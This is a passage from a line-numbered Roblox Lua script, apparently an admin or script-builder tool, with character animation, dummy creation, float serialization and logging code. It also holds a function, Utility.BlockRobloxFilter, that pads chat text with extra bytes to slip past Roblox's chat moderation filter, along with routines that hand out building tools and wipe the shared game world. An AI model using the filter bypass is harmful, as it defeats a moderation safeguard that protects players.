  708.                                         local camera_distance = PyramidCharacter.camera_distance
  709.                                         Camera.Focus = Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)
  710.                                         PyramidCharacter.camera_position = (Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)).p
  711.                                 end
  712.                         end)
  713.                         coroutine.yield()
  714.                         if Camera.Focus == focus then
  715.                                 PyramidCharacter.camera_distance = (focus.p - cframe.p).magnitude
  716.                         else
  717.                                 local camera_distance = PyramidCharacter.camera_distance
  718.                                 Camera.Focus = Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)
  719.                                 PyramidCharacter.camera_position = (Camera.CoordinateFrame * CFrame.new(0, 0, -camera_distance)).p
  720.                         end
  721.                         if connection.connected then
  722.                                 connection:disconnect()
  723.                         end
  724.                 end
  725.         end
  726. end)
  727. function PyramidCharacter.Animate()
  728.         local total_time = time()
  729.         local core = PyramidCharacter.core
  730.         local frame = PyramidCharacter.frame
  731.         if PyramidCharacter.visible then
  732.                 local core_mesh = PyramidCharacter.core_mesh
  733.                 local core_lights = PyramidCharacter.core_lights
  734.                 if not frame or frame.Parent ~= core then
  735.                         frame = Instance.new("Model")
  736.                         frame.Archivable = false
  737.                         frame.Parent = core
  738.                         PyramidCharacter.frame = frame
  739.                 end
  740.                 if core.Parent ~= Workspace then
  741.                         core = PyramidCharacter.stock_core:Clone()
  742.                         PyramidCharacter.core = core
  743.                         core.Archivable = false
  744.                         core.Parent = Workspace
  745.                         chatAdornee = core
  746.                 end
  747.                 if core_mesh.Parent ~= core then
  748.                         core_mesh = Instance.new("BlockMesh", core)
  749.                         PyramidCharacter.core_mesh = core_mesh
  750.                 end
  751.                 for index, core_light in ipairs(core_lights) do
  752.                         if core_light.Parent ~= core then
  753.                                 core_light = Instance.new("PointLight", core)
  754.                                 core_lights[index] = core_light
  755.                         end
  756.                         local vertexColor = Vector3.new(Utility.GetRainbowRGB(total_time)) * 0.25 + Vector3.new(1, 1, 1) * 0.75
  757.                         core_light.Color = Color3.new(vertexColor.X, vertexColor.Y, vertexColor.Z)
  758.                         core_light.Brightness = 0.85 + 0.15 * math.random()
  759.                         if core_light.Range ~= 30 then
  760.                                 core_light.Range = 30
  761.                         end
  762.                         if not core_light.Shadows then
  763.                                 core_light.Shadows = true
  764.                         end
  765.                 end
  766.                 if core_mesh.Offset ~= Vector3.new(0, 0, 0) then
  767.                         core_mesh.Offset = Vector3.new(0, 0, 0)
  768.                 end
  769.                 if not core.Anchored then
  770.                         core.Anchored = true
  771.                 end
  772.                 if core.Transparency ~= 0 then
  773.                         core.Transparency = 0
  774.                 end
  775.                 local core_mesh_scale = PyramidCharacter.core_mesh_scale
  776.                 local transition_speed = (math.sin(total_time * math.tau) + 1) / 16
  777.                 core_mesh_scale = core_mesh_scale * (1 - transition_speed) + Vector3.new(math.random() * 0.5 + 0.5, math.random() * 0.5 + 0.5, math.random()
  778.  
  779. * 0.5 + 0.5) * transition_speed
  780.                 core_mesh.Scale = core_mesh_scale * 2
  781.                 local center = CFrame.new(PyramidCharacter.camera_position) * CFrame.Angles(0, total_time * math.tau, 0)
  782.                 local cframe1 = CFrame.new(PyramidCharacter.head_radius, 0, 0)
  783.                 local cframe2 = CFrame.Angles(math.tau / -3, 0, 0)
  784.                 local cframe3 = CFrame.Angles(0, math.tau / 3, 0)
  785.                 local cframe4 = center * cframe3              
  786.                 local desired1 = center * CFrame.new(0, PyramidCharacter.head_radius, 0)
  787.                 local desired2 = center * cframe2 * cframe1
  788.                 local desired3 = cframe4 * cframe2 * cframe1
  789.                 local desired4 = cframe4 * cframe3 * cframe2 * cframe1
  790.                 local point1 = (PyramidCharacter.point1 * 3 + desired1.p) / 4
  791.                 local point2 = (PyramidCharacter.point2 * 3 + desired2.p) / 4
  792.                 local point3 = (PyramidCharacter.point3 * 3 + desired3.p) / 4
  793.                 local point4 = (PyramidCharacter.point4 * 3 + desired4.p) / 4
  794.                 PyramidCharacter.point1 = point1
  795.                 PyramidCharacter.point2 = point2
  796.                 PyramidCharacter.point3 = point3
  797.                 PyramidCharacter.point4 = point4
  798.                 local head_properties = PyramidCharacter.head_properties
  799.                 PyramidCharacter.CreateTriangle(point1, point2, point3, head_properties, frame, 1).Archivable = false
  800.                 PyramidCharacter.CreateTriangle(point2, point3, point4, head_properties, frame, 2).Archivable = false
  801.                 PyramidCharacter.CreateTriangle(point3, point4, point1, head_properties, frame, 3).Archivable = false
  802.                 PyramidCharacter.CreateTriangle(point4, point1, point2, head_properties, frame, 4).Archivable = false
  803.                 core.CFrame = CFrame.new((point1 + point2 + point3 + point4) / 4) * CFrame.Angles(total_time * math.tau, total_time * math.tau / 2,
  804.  
  805. total_time * math.tau / 3)
  806.                 PyramidCharacter.center = center
  807.         else
  808.                 if core.Parent then
  809.                         core:Destroy()
  810.                 end
  811.                 if frame and frame.Parent then
  812.                         frame:Destroy()
  813.                 end
  814.                 PyramidCharacter.frame = nil
  815.         end
  816. end
  817. function PyramidCharacter.MainLoop()
  818.         PyramidCharacter.Animate()
  819.         RunService.Stepped:wait()
  820. end
  821. TaskScheduler.Start(function()
  822.         while true do
  823.                 PyramidCharacter.MainLoop()
  824.         end
  825. end)
  826.  
  827. RBXInstance = {};
  828.  
  829. RBXInstance.init_metatable = {}
  830. function RBXInstance.init_metatable:__call(data)
  831.         local instance = Instance.new(self[1])
  832.         for key, value in pairs(data) do
  833.                 if type(key) == "number" then
  834.                         value.Parent = instance
  835.                 else
  836.                         instance[key] = value
  837.                 end
  838.         end
  839.         return instance
  840. end
  841. function RBXInstance.new(className)
  842.         return setmetatable({className}, RBXInstance.init_metatable)
  843. end
  844.  
  845. Utility = {};
  846.  
  847. function Utility.CleanLighting()
  848.         Lighting.Ambient = Color3.new(0, 0, 0)
  849.         Lighting.Brightness = 1
  850.         Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  851.         Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  852.         Lighting.FogColor = Color3.new(0.75294125080109, 0.75294125080109, 0.75294125080109)
  853.         Lighting.FogEnd = 100000
  854.         Lighting.FogStart = 0
  855.         Lighting.GeographicLatitude = 41.733299255371095
  856.         Lighting.GlobalShadows = true
  857.         Lighting.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  858.         Lighting.Outlines = false
  859.         Lighting.ShadowColor = Color3.new(0.70196080207825, 0.70196080207825, 0.72156864404678)
  860.         Lighting.TimeOfDay = "14:00:00"
  861.         for index, child in ipairs(Lighting:GetChildren()) do
  862.                 if child:IsA("Sky") then
  863.                         child:Destroy()
  864.                 end
  865.         end
  866. end
  867.  
  868. function Utility.GetProperty(object, field)
  869.         return object[field]
  870. end
  871.  
  872. function Utility.CaseInsensitivePattern(pattern)
  873.         return string.gsub(pattern, "(%%?)(.)", Utility.CaseInsensitivePatternReplaceFunc)
  874. end
  875. function Utility.CaseInsensitivePatternReplaceFunc(percent, letter)
  876.         if percent ~= "" or not letter:match("%a") then
  877.                 return percent .. letter
  878.         else
  879.                 return "[" .. string.lower(letter) .. string.upper(letter) .. "]"
  880.         end
  881. end
  882. function Utility.FindHumanoidClosestToRay(ray, exlusionList)
  883.         local view = CFrame.new(ray.Origin, ray.Origin + ray.Direction)
  884.         local inverseView = view:inverse()
  885.         local objects = Workspace:GetChildren()
  886.         local numObjects = #objects
  887.         local minDistance = math.huge
  888.         local closestHumanoid, closestTorso, closestTorsoPosition
  889.         for index, object in ipairs(objects) do
  890.                 for index, child in ipairs(object:GetChildren()) do
  891.                         numObjects = numObjects + 1
  892.                         objects[numObjects] = child
  893.                 end
  894.                 if object.ClassName == "Humanoid" and object.Health > 0 then
  895.                         local torso = object.Torso
  896.                         if torso and not (exlusionList and exlusionList[torso]) then
  897.                                 local torsoPosition = torso.Position
  898.                                 local relativePosition = inverseView * torsoPosition
  899.                                 local distanceZ = -relativePosition.Z
  900.                                 if distanceZ > 0 then
  901.                                         local distance = (inverseView * torsoPosition * Vector3.new(1, 1, 0)).magnitude / distanceZ
  902.                                         if distance < 0.25 and distance < minDistance then
  903.                                                 closestHumanoid = object
  904.                                                 closestTorso = torso
  905.                                                 closestTorsoPosition = torsoPosition
  906.                                                 minDistance = distance
  907.                                         end
  908.                                 end
  909.                         end
  910.                 end
  911.         end
  912.         return closestHumanoid, closestTorso, closestTorsoPosition, minDistance
  913. end
  914. function Utility.FindLocalHead()
  915.         if Player then
  916.                 local head, position, view
  917.                 pcall(function()
  918.                         position = Camera.Focus.p
  919.                         view = Camera.CoordinateFrame
  920.                 end)
  921.                 pcall(function()
  922.                         for _, child in ipairs(Workspace:GetChildren()) do
  923.                                 if Players:GetPlayerFromCharacter(child) == Player then
  924.                                         for _, child in ipairs(child:GetChildren()) do
  925.                                                 if tostring(child) == "Head" and pcall(assert, pcall(Game.IsA, child, "BasePart")) then
  926.                                                         head = child
  927.                                                         break
  928.                                                 end
  929.                                         end
  930.                                         break
  931.                                 end
  932.                         end
  933.                         if not head and view then
  934.                                 local min_distance = math.huge
  935.                                 local objects = Workspace:GetChildren()
  936.                                 for _, object in ipairs(objects) do
  937.                                         local success, is_part = pcall(Game.IsA, object, "BasePart")
  938.                                         if success and is_part then
  939.                                                 pcall(function()
  940.                                                         local distance = (view:pointToObjectSpace(object.Position) * Vector3.new(1, 1, 0)).magnitude
  941.                                                         if distance < min_distance and distance < 1 then
  942.                                                                 min_distance = distance
  943.                                                                 head = object
  944.                                                         elseif tostring(object) == "Head" and tostring(object.Parent):lower():match("^" .. tostring(Player):lower()) then
  945.                                                                 min_distance = 0
  946.                                                                 head = object
  947.                                                         end
  948.                                                 end)
  949.                                                 if min_distance < 5e-4 then
  950.                                                         break
  951.                                                 end
  952.                                         end
  953.                                                 pcall(function()
  954.                                                 if not object:IsA("Camera") then
  955.                                                         for _, child in ipairs(object:GetChildren()) do
  956.                                                                 objects[#objects + 1] = child
  957.                                                         end
  958.                                                 end
  959.                                         end)
  960.                                 end
  961.                         end
  962.                 end)
  963.                 return head, position, view
  964.         end
  965. end
  966. function Utility.GetBuildingTools()
  967.         local backpack = Player:FindFirstChild("Backpack")
  968.         if backpack then
  969.                 local moveTool = Instance.new("HopperBin")
  970.                 local cloneTool = Instance.new("HopperBin")
  971.                 local deleteTool = Instance.new("HopperBin")
  972.                 moveTool.BinType = Enum.BinType.GameTool
  973.                 cloneTool.BinType = Enum.BinType.Clone
  974.                 deleteTool.BinType = Enum.BinType.Hammer
  975.                 moveTool.Parent = backpack
  976.                 cloneTool.Parent = backpack
  977.                 deleteTool.Parent = backpack
  978.         end
  979. end
  980. function Utility.Rejoin()
  981.         Workspace.Parent:service'TeleportService':Teleport(Game.PlaceId)
  982. end
  983.  
  984. function Utility.BlockRobloxFilter(text)
  985.     return string.gsub(text, ".", "%1\143")
  986. end
  987.  
  988. function Utility.GetTimestamp()
  989.     local unix_time = tick()
  990.     local time_secs = math.floor(unix_time % 60)
  991.     local time_mins = math.floor(unix_time / 60 % 60)
  992.     local time_hours = math.floor(unix_time / 3600 % 24)
  993.     return string.format("%02i:%02i:%02i", time_hours, time_mins, time_secs)
  994. end
  995.  
  996. function Utility.GetRainbowRGB(hue)
  997.         local section = hue % 1 * 3
  998.         local secondary = 0.5 * math.pi * (section % 1)
  999.         if section < 1 then
  1000.                 return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  1001.         elseif section < 2 then
  1002.                 return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  1003.         else
  1004.                 return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  1005.         end
  1006. end
  1007.  
  1008. function Utility.SetProperty(object, field, value)
  1009.         object[field] = value
  1010. end
  1011.  
  1012. function Utility.CleanWorkspace()
  1013.         for index, child in ipairs(Workspace:GetChildren()) do
  1014.                 if not (Players:GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child:IsA("Script") or child.ClassName == "Terrain") then
  1015.                         pcall(child.Destroy, child)
  1016.                 end
  1017.         end
  1018.         Workspace.Terrain:Clear()
  1019.         local base = Instance.new("Part")
  1020.         base.Anchored = true
  1021.         base.BrickColor = BrickColor.new("Earth green")
  1022.         base.Locked = true
  1023.         base.Name = "Base"
  1024.         base.Size = Vector3.new(512, 1.2, 512)
  1025.         base.Parent = Workspace
  1026. end
  1027.  
  1028. function Utility.CleanWorkspaceAndScripts()
  1029.         for index, child in ipairs(Workspace:GetChildren()) do
  1030.                 if not (Players:GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child.ClassName == "Terrain") then
  1031.                         pcall(child.Destroy, child)
  1032.                 end
  1033.         end
  1034.         Workspace.Terrain:Clear()
  1035.         local base = Instance.new("Part")
  1036.         base.Anchored = true
  1037.         base.BrickColor = BrickColor.new("Earth green")
  1038.         base.Locked = true
  1039.         base.Name = "Base"
  1040.         base.Size = Vector3.new(512, 1.2, 512)
  1041.         base.Parent = Workspace
  1042. end
  1043.  
  1044. function Utility.CreateDummy(cframe, name, parent)
  1045.         local model = Instance.new("Model")
  1046.         model.Archivable = false
  1047.         model.Name = name
  1048.         local humanoid = Instance.new("Humanoid", model)
  1049.         local head = Instance.new("Part", model)
  1050.         local face = Instance.new("Decal", head)
  1051.         local head_mesh = Instance.new("SpecialMesh", head)
  1052.         local torso = Instance.new("Part", model)
  1053.         local right_arm = Instance.new("Part", model)
  1054.         local left_arm = Instance.new("Part", model)
  1055.         local right_leg = Instance.new("Part", model)
  1056.         local left_leg = Instance.new("Part", model)
  1057.         local neck = Instance.new("Motor", torso)
  1058.         local right_shoulder = Instance.new("Motor", torso)
  1059.         local left_shoulder = Instance.new("Motor", torso)
  1060.         local right_hip = Instance.new("Motor", torso)
  1061.         local left_hip = Instance.new("Motor", torso)
  1062.         head.BrickColor = BrickColor.Yellow()
  1063.         head.CFrame = cframe * CFrame.new(0, 1.5, 0)
  1064.         head.FormFactor = "Symmetric"
  1065.         head.Locked = true
  1066.         head.Name = "Head"
  1067.         head.Size = Vector3.new(2, 1, 1)
  1068.         head.TopSurface = "Smooth"
  1069.         face.Texture = "rbxasset://textures/face.png"
  1070.         head_mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
  1071.         torso.BrickColor = BrickColor.Blue()
  1072.         torso.CFrame = cframe
  1073.         torso.FormFactor = "Symmetric"
  1074.         torso.LeftSurface = "Weld"
  1075.         torso.Locked = true
  1076.         torso.RightSurface = "Weld"
  1077.         torso.Name = "Torso"
  1078.         torso.Size = Vector3.new(2, 2, 1)
  1079.         right_arm.BrickColor = BrickColor.Yellow()
  1080.         right_arm.CanCollide = false
  1081.         right_arm.CFrame = cframe * CFrame.new(1.5, 0, 0)
  1082.         right_arm.FormFactor = "Symmetric"
  1083.         right_arm.Locked = true
  1084.         right_arm.Name = "Right Arm"
  1085.         right_arm.Size = Vector3.new(1, 2, 1)
  1086.         left_arm.BrickColor = BrickColor.Yellow()
  1087.         left_arm.CanCollide = false
  1088.         left_arm.CFrame = cframe * CFrame.new(-1.5, 0, 0)
  1089.         left_arm.FormFactor = "Symmetric"
  1090.         left_arm.Locked = true
  1091.         left_arm.Name = "Left Arm"
  1092.         left_arm.Size = Vector3.new(1, 2, 1)
  1093.         right_leg.BrickColor = BrickColor.new("Br. yellowish green")
  1094.         right_leg.BottomSurface = "Smooth"
  1095.         right_leg.CanCollide = false
  1096.         right_leg.CFrame = cframe * CFrame.new(0.5, -2, 0)
  1097.         right_leg.FormFactor = "Symmetric"
  1098.         right_leg.Locked = true
  1099.         right_leg.Name = "Right Leg"
  1100.         right_leg.Size = Vector3.new(1, 2, 1)
  1101.         right_leg.TopSurface = "Smooth"
  1102.         left_leg.BrickColor = BrickColor.new("Br. yellowish green")
  1103.         left_leg.BottomSurface = "Smooth"
  1104.         left_leg.CanCollide = false
  1105.         left_leg.CFrame = cframe * CFrame.new(-0.5, -2, 0)
  1106.         left_leg.FormFactor = "Symmetric"
  1107.         left_leg.Locked = true
  1108.         left_leg.Name = "Left Leg"
  1109.         left_leg.Size = Vector3.new(1, 2, 1)
  1110.         left_leg.TopSurface = "Smooth"
  1111.         neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1112.         neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1113.         neck.Name = "Neck"
  1114.         neck.Part0 = torso
  1115.         neck.Part1 = head
  1116.         right_shoulder.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1117.         right_shoulder.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1118.         right_shoulder.MaxVelocity = 0.15
  1119.         right_shoulder.Name = "Right Shoulder"
  1120.         right_shoulder.Part0 = torso
  1121.         right_shoulder.Part1 = right_arm
  1122.         left_shoulder.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1123.         left_shoulder.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1124.         left_shoulder.MaxVelocity = 0.15
  1125.         left_shoulder.Name = "Left Shoulder"
  1126.         left_shoulder.Part0 = torso
  1127.         left_shoulder.Part1 = left_arm
  1128.         right_hip.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1129.         right_hip.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1130.         right_hip.MaxVelocity = 0.1
  1131.         right_hip.Name = "Right Hip"
  1132.         right_hip.Part0 = torso
  1133.         right_hip.Part1 = right_leg
  1134.         left_hip.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1135.         left_hip.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1136.         left_hip.MaxVelocity = 0.1
  1137.         left_hip.Name = "Left Hip"
  1138.         left_hip.Part0 = torso
  1139.         left_hip.Part1 = left_leg
  1140.         humanoid.Died:connect(function()
  1141.                 wait(5)
  1142.                 model:Destroy()
  1143.         end)
  1144.         model.Parent = parent
  1145.         return model  
  1146. end
  1147.  
  1148. Serializer = {};
  1149.  
  1150. Serializer.NAN = math.abs(0 / 0)
  1151.  
  1152. function Serializer.DecodeFloatArray(metadata_size, lookup, data, index)
  1153.     local metadata_bytes = math.ceil(metadata_size * 0.25)
  1154.     local metadata = {string.byte(data, index, index + metadata_bytes - 1)}
  1155.     local components = {}
  1156.     local start_index = index
  1157.     index = index + metadata_bytes
  1158.     for byte_index, byte in ipairs(metadata) do
  1159.         local last_offset = 3
  1160.         if byte_index == metadata_bytes then
  1161.             last_offset = (metadata_size - 1) % 4
  1162.         end
  1163.         for value_offset = 0, last_offset do
  1164.             local value_code = byte * 0.25 ^ value_offset % 4
  1165.             value_code = value_code - value_code % 1
  1166.             if value_code == 0 then
  1167.                 table.insert(components, Serializer.DecodeFloat32(string.byte(data, index, index + 3)))
  1168.                 index = index + 4
  1169.             else
  1170.                 table.insert(components, lookup[value_code])
  1171.             end
  1172.         end
  1173.     end
  1174.     return components, index - start_index
  1175. end
  1176. function Serializer.EncodeFloatArray(values, common)
  1177.     local lookup = {[common[1]] = 1, [common[2]] = 2, [common[3]] = 3}
  1178.     local value_count = #values
  1179.     local metadata_bytes = math.ceil(value_count * 0.25)
  1180.     local metadata = {}
  1181.     local buffer = {}
  1182.     for byte_index = 1, metadata_bytes do
  1183.         local last_offset = 3
  1184.         if byte_index == metadata_bytes then
  1185.             last_offset = (value_count - 1) % 4
  1186.         end
  1187.         local metadata_byte = 0
  1188.         local offset_multiplier = 1
  1189.         local byte_offset = (byte_index - 1) * 4 + 1
  1190.         for value_offset = 0, last_offset do
  1191.             local value_index = byte_offset + value_offset
  1192.             local value = values[value_index]
  1193.             local code = lookup[value] or 0
  1194.             metadata_byte = metadata_byte + code * offset_multiplier
  1195.             offset_multiplier = offset_multiplier * 4
  1196.             if code == 0 then
  1197.                 table.insert(buffer, Serializer.EncodeFloat32(value))
  1198.             end
  1199.         end
  1200.         metadata[byte_index] = string.char(metadata_byte)
  1201.     end
  1202.     return table.concat(metadata) .. table.concat(buffer)
  1203. end
  1204.  
  1205. function Serializer.DecodeColor3(data, index)
  1206.     local components, size = Serializer.DecodeFloatArray(3, {0, 0.5, 1}, data, index)
  1207.     return Color3.new(unpack(components)), size
  1208. end
  1209. function Serializer.DecodeFloat32(b0, b1, b2, b3)
  1210.     local b2_low = b2 % 128
  1211.     local mantissa = b0 + (b1 + b2_low * 256) * 256
  1212.     local exponent = (b2 - b2_low) / 128 + b3 % 128 * 2
  1213.     local number
  1214.     if mantissa == 0 then
  1215.         if exponent == 0 then
  1216.             number = 0
  1217.         elseif exponent == 0xFF then
  1218.             number = math.huge
  1219.         else
  1220.             number = 2 ^ (exponent - 127)
  1221.         end
  1222.     elseif exponent == 255 then
  1223.         number = Serializer.NAN
  1224.     else
  1225.         number = (1 + mantissa / 8388608) * 2 ^ (exponent - 127)
  1226.     end
  1227.     if b3 >= 128 then
  1228.         return -number
  1229.     else
  1230.         return number
  1231.     end
  1232. end
  1233. function Serializer.EncodeColor3(color3)
  1234.     return Serializer.EncodeFloatArray({color3.r, color3.g, color3.b}, {0, 0.5, 1})
  1235. end
  1236. function Serializer.EncodeFloat32(number)
  1237.     if number == 0 then
  1238.         if 1 / number > 0 then
  1239.             return "\0\0\0\0"
  1240.         else
  1241.             return "\0\0\0\128"
  1242.         end
  1243.     elseif number ~= number then
  1244.         if string.sub(tostring(number), 1, 1) == "-" then
  1245.             return "\255\255\255\255"
  1246.         else
  1247.             return "\255\255\255\127"
  1248.         end
  1249.     elseif number == math.huge then
  1250.         return "\0\0\128\127"
  1251.     elseif number == -math.huge then
  1252.         return "\0\0\128\255"
  1253.     else
  1254.         local b3 = 0
  1255.         if number < 0 then
  1256.             number = -number
  1257.             b3 = 128
  1258.         end
  1259.         local mantissa, exponent = math.frexp(number)
  1260.         exponent = exponent + 126
  1261.         if exponent < 0 then
  1262.             return "\0\0\0" .. string.char(b3)
  1263.         elseif exponent >= 255 then
  1264.             return "\0\0\128" .. string.char(b3 + 0x7F)
  1265.         else
  1266.             local fraction = mantissa * 16777216 - 8388608 + 0.5
  1267.             fraction = fraction - fraction % 1
  1268.             local exponent_low = exponent % 2
  1269.             local b0 = fraction % 256
  1270.             local b1 = fraction % 65536
  1271.             local b2 = (fraction - b1) / 65536 + exponent_low * 128
  1272.             b1 = (b1 - b0) / 256
  1273.             b3 = b3 + (exponent - exponent_low) / 2
  1274.             return string.char(b0, b1, b2, b3)
  1275.         end
  1276.     end
  1277. end
  1278.  
  1279. LuaEnum = {};
  1280.  
  1281. LuaEnum.enum_metatable = {
  1282.     __call = function(self, value)
  1283.         local valueType = type(value)
  1284.         if valueType == "table" and getmetatable(value) == LuaEnum.enum_item_metatable then
  1285.             return value
  1286.         else
  1287.             return self[value]
  1288.         end
  1289.     end,
  1290.     __index = function(self, key)
  1291.         local enumItem = self.ItemsByName[key] or self.ItemsByValue[key]
  1292.         if enumItem == nil then
  1293.             local default = self.Default
  1294.             if default then
  1295.                 Logger.printf("Warning", "%s is not a valid EnumItem, returning default (%s)", Utility.ToString(key), tostring(default))
  1296.                 enumItem = default
  1297.             else
  1298.                 Logger.errorf(2, "%s is not a valid EnumItem", Utility.ToString(key))
  1299.             end
  1300.         end
  1301.         return enumItem
  1302.     end,
  1303.     __tostring = function(self)
  1304.         return self.Name
  1305.     end
  1306. }
  1307. LuaEnum.enum_item_metatable = {
  1308.     __tostring = function(self)
  1309.         return self.Enum.Name .. "." .. self.Name
  1310.     end
  1311. }
  1312. LuaEnum.init_metatable = {
  1313.     __call = function(self, items)
  1314.         local enumItemsByName = {}
  1315.         local enumItemsByValue = {}
  1316.         local enum = {
  1317.             ItemsByName = enumItemsByName,
  1318.             ItemsByValue = enumItemsByValue,
  1319.             Name = self[1]
  1320.         }
  1321.         local default = items.Default
  1322.         if default ~= nil then
  1323.             items.Default = nil
  1324.         end
  1325.         for value, name in pairs(items) do
  1326.             local enumItem = setmetatable({
  1327.                 Enum = enum,
  1328.                 Name = name,
  1329.                 Value = value
  1330.             }, LuaEnum.enum_item_metatable)
  1331.             enumItemsByName[name] = enumItem
  1332.             enumItemsByValue[value] = enumItem
  1333.             if name == default or value == default then
  1334.                 enum.Default = enumItem
  1335.             end
  1336.         end
  1337.         return setmetatable(enum, LuaEnum.enum_metatable)
  1338.     end
  1339. }
  1340. function LuaEnum.new(name)
  1341.     return setmetatable({name}, LuaEnum.init_metatable)
  1342. end
  1343.  
  1344. Logger = {};
  1345.  
  1346. Logger.entries = {0}
  1347. Logger.MessageType = LuaEnum.new "MessageType" {
  1348.     "Output",
  1349.     "Info",
  1350.     "Warning",
  1351.     "Severe",
  1352.     "Error",
  1353.     Default = "Severe"
  1354. }
  1355. Logger.MESSAGE_TYPE_SETTINGS = {
  1356.     { -- Output
  1357.         Font = "Arial",
  1358.         TextColor3 = Color3.new(0, 0, 0)
  1359.     },
  1360.     { -- Info
  1361.         Font = "Arial",
  1362.         TextColor3 = Color3.new(0, 0, 1)
  1363.     },
  1364.     { -- Warning
  1365.         Font = "ArialBold",
  1366.         TextColor3 = Color3.new(1, 0.5, 0)
  1367.     },
  1368.     { -- Severe/Error
  1369.         Font = "ArialBold",
  1370.         TextColor3 = Color3.new(1, 0, 0)
  1371.     }
  1372. }
  1373. Logger.MAX_ENTRIES = 160
  1374. Logger.WARNING_TRACE_ITEM_COUNT = 5
  1375. Logger.rbxPrint = getfenv(RbxUtility.CreateSignal).print
  1376. function Logger.error(level, message)
  1377.     message = message .. "\n" .. Logger.StackTraceToString(Logger.GenerateStackTrace(level + 1))
  1378.     Logger.AddEntry {Logger.MessageType.Error, message}
  1379.     error(level + 1, message)
  1380. end
  1381. function Logger.errorf(level, messageFormat, ...)
  1382.     Logger.error(level + 1, string.format(messageFormat, ...))
  1383. end
  1384. function Logger.print(messageType, message, level)
  1385.     messageType = Logger.MessageType(messageType)
  1386.     local entry = {messageType, message}
  1387.     Logger.rbxPrint(Logger.EntryToString(entry))
  1388.     Logger.AddEntry(entry)
  1389.     if level ~= false and messageType.Value >= Logger.MessageType.Warning.Value then
  1390.         local maxItems
  1391.         if messageType.Value >= Logger.MessageType.Severe.Value then
  1392.             maxItems = math.huge
  1393.         else
  1394.             maxItems = Logger.WARNING_TRACE_ITEM_COUNT
  1395.         end
  1396.         local trace = Logger.GenerateStackTrace((level or 1) + 1, math.huge, 10, maxItems + 1)
  1397.         local traceLength = #trace
  1398.         local stackTraceMessage
  1399.         local suffix = ""
  1400.         if traceLength > maxItems then
  1401.             trace[traceLength] = nil
  1402.             suffix = "\n..."
  1403.         end
  1404.         Logger.print("Info", "Stack trace:\n" .. Logger.StackTraceToString(trace) .. suffix .. "\nStack end", false)
  1405.     end
  1406. end
  1407. function Logger.printf(messageType, messageFormat, ...)
  1408.     Logger.print(messageType, string.format(messageFormat, ...), 2)
  1409. end
  1410. function Logger.AddEntry(entry)
  1411.     local entries = Logger.entries
  1412.     if entries[1] >= Logger.MAX_ENTRIES then
  1413.         local first = entries[2]
  1414.         local nextFirst = first[2]
  1415.         first[1] = nil
  1416.         first[2] = nil
  1417.         entries[1] = entries[1] - 1
  1418.         entries[2] = nextFirst
  1419.         if not nextFirst then
  1420.             entries[3] = nil
  1421.         end
  1422.     end
  1423.     local last = entries[3]
  1424.     local node = {entry}
  1425.     if last then
  1426.         entries[3] = node
  1427.         last[2] = node
  1428.     else
  1429.         entries[2] = node
  1430.         entries[3] = node
  1431.     end
  1432.     entries[1] = entries[1] + 1
  1433. end
  1434. function Logger.NodeIterator(list, node)
  1435.     if node then
  1436.         node = node[2]
  1437.     else
  1438.         node = list[2]
  1439.     end
  1440.     if node then
  1441.         return node, node[1]
  1442.     end
  1443. end
  1444. function Logger.EntryToString(entry)
  1445.     local messageType, message = entry[1], tostring(entry[2])
  1446.     if messageType and messageType.Value >= Logger.MessageType.Info.Value then
  1447.         return messageType.Name .. ": " .. message
  1448.     else
  1449.         return message
  1450.     end
  1451. end
  1452. function Logger.GenerateStackTrace(level, maxLevel, maxTailCalls, maxTraceItems)
  1453.     level = level + 2
  1454.     if maxLevel == nil then
  1455.         maxLevel = math.huge
  1456.     else
  1457.         maxLevel = maxLevel + 2
  1458.     end
  1459.     maxTailCalls = maxTailCalls or 10
  1460.     maxTraceItems = maxTraceItems or math.huge
  1461.     local trace = {}
  1462.     local numTailCalls = 0
  1463.     while level <= maxLevel and numTailCalls <= maxTailCalls and #trace < maxTraceItems do
  1464.         local success, errorMessage = xpcall(function() error("-", level + 1) end, function(...) return ... end)
  1465.         if errorMessage == "-" then
  1466.             numTailCalls = numTailCalls + 1
  1467.         else
  1468.             if numTailCalls > 0 then
  1469.                 local traceSize = #trace
  1470.                 if traceSize > 0 then
  1471.                     trace[#trace][3] = numTailCalls
  1472.                 end
  1473.                 numTailCalls = 0
  1474.             end
  1475.             local script, line = string.match(errorMessage, "(.*):(%d+)")
  1476.             trace[#trace + 1] = {script, tonumber(line), 0}
  1477.         end
  1478.         level = level + 1
  1479.     end
  1480.     return trace
  1481. end
  1482. function Logger.StackTraceToString(trace)
  1483.     local buffer = {}
  1484.     for _, data in ipairs(trace) do
  1485.         buffer[#buffer + 1] = string.format("Script %q, line %d", data[1], data[2])
  1486.         local numTailCalls = data[3]
  1487.         if numTailCalls == 1 then
  1488.             buffer[#buffer + 1] = "... 1 tail call"
  1489.         elseif numTailCalls > 1 then
  1490.             buffer[#buffer + 1] = string.format("... %d tail calls", numTailCalls)
  1491.         end
  1492.     end
  1493.     return table.concat(buffer, "\n")
  1494. end
